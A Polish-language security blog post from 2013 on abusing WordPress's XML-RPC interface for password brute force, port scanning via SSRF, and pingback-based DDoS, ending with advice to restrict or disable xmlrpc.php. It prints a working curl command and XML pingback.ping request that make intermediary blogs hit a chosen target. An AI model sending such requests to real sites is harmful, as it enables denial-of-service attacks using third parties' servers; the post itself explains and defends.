NFsec Logo

WordPress XMLRPC, czyli Port Scan, Password Brute Force i DDoS

29/05/2013 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 414, ilość słów: 538)

O

statnio w sieci pojawia się coraz więcej narzędzi wykorzystujących podatności w interfejsie XML-RPC WordPress’a, który to od wersji 3.5 jest standardowo włączony. Początek tej historii zaczął się od publikowania przez coraz to różne portale wiadomości, że różne strony oparte o ten popularny system blogowy są masowo atakowane za pomocą prób odgadnięcia hasła do konta administratora. Gdy wszyscy rozwodzili się lub przypominali, jak to zabezpieczyć panele administracyjne – Marcin Probola w prosty sposób wykorzystał do implementacji wcześniej wspomnianych ataków brute force właśnie XML-RPC.

Po serii ataków na słabo skonstruowane hasła i standardowe loginy przyszedł czas na możliwość skanowania innych hostów za pomocą API XML-RPC. W tym celu powstał prosty skaner umożliwiający skanowanie innych hostów i ich portów za pomocą pośrednika. Został on nawet wcielony do popularnego framework’a Metasploit (prawdopodobnie dlatego, że bardzo dużo użytkowników nie dba o bezpieczeństwo swoich blogów). Po bliższym przyjrzeniu okazało się, że ta sama luka pozwala na SSRF (ang. Server Side Request Forgery). Eldorado skończyło się z wydaniem wersji 3.5.1, która naprawiła tą lukę bezpieczeństwa.

Mimo załatania CVE-2013-0235 firma Incapsula udowodniła, że za pomocą metody pingback nadal istnieje możliwość przeprowadzenia ataku typu DDoS. Wystarczy do odpowiedniej ilości blogów wysłać specjalne żądanie HTTP typu POST – na przykład w postaci:

curl --data @request.txt http://blog.posrednik.pl/xmlrpc.php

gdzie plik request.txt posiada postać:

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param>
      <value>
        <string>http://blog.cel.pl/2013/05/29/istniejacy-wpis/</string>
      </value>
    </param>
    <param>
      <value>
        <string>http://blog.posrednik.pl/2013/05/29/istniejacy-wpis/</string>
      </value>
    </param>
  </params>
</methodCall>

Spowoduje to, że WordPress zainstalowany na serwerze blog.posrednik.pl wykona żądanie HTTP do serwera blog.cel.pl:

Request: GET
URL: /2013/05/29/istniejacy-wpis
Protocol: HTTP/1.0
User-Agent: WordPress/3.2.1; http://blog.posrednik.pl
Host: blog.cel.pl
Accept: */*
Accept-Encoding: deflate;q=1.0, compress;q=0.5

Oznacza to, że kilku krotnie kierując takie żądania do kilkuset lub nawet kilku tysięcy blogów i wskazując jeden cel metody pingback – jesteśmy w stanie tanim kosztem przeprowadzić atak Distributed Denial of Service. W związku z powyższymi informacjami należy poważnie się zastanowić nad ograniczeniem komunikacji do pliku xmlrpc.php od strony serwera web do zaufanych adresów IP lub wyłączeniu XML-RPC po stronie WordPress’a – czy to przez wpis w pliku konfiguracyjnym (>= 3.5), czy za pomocą wtyczki (<= 3.5.1).

Więcej informacji: XML-RPC

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , , , ,

Komentowanie tego wpisu jest zablokowane.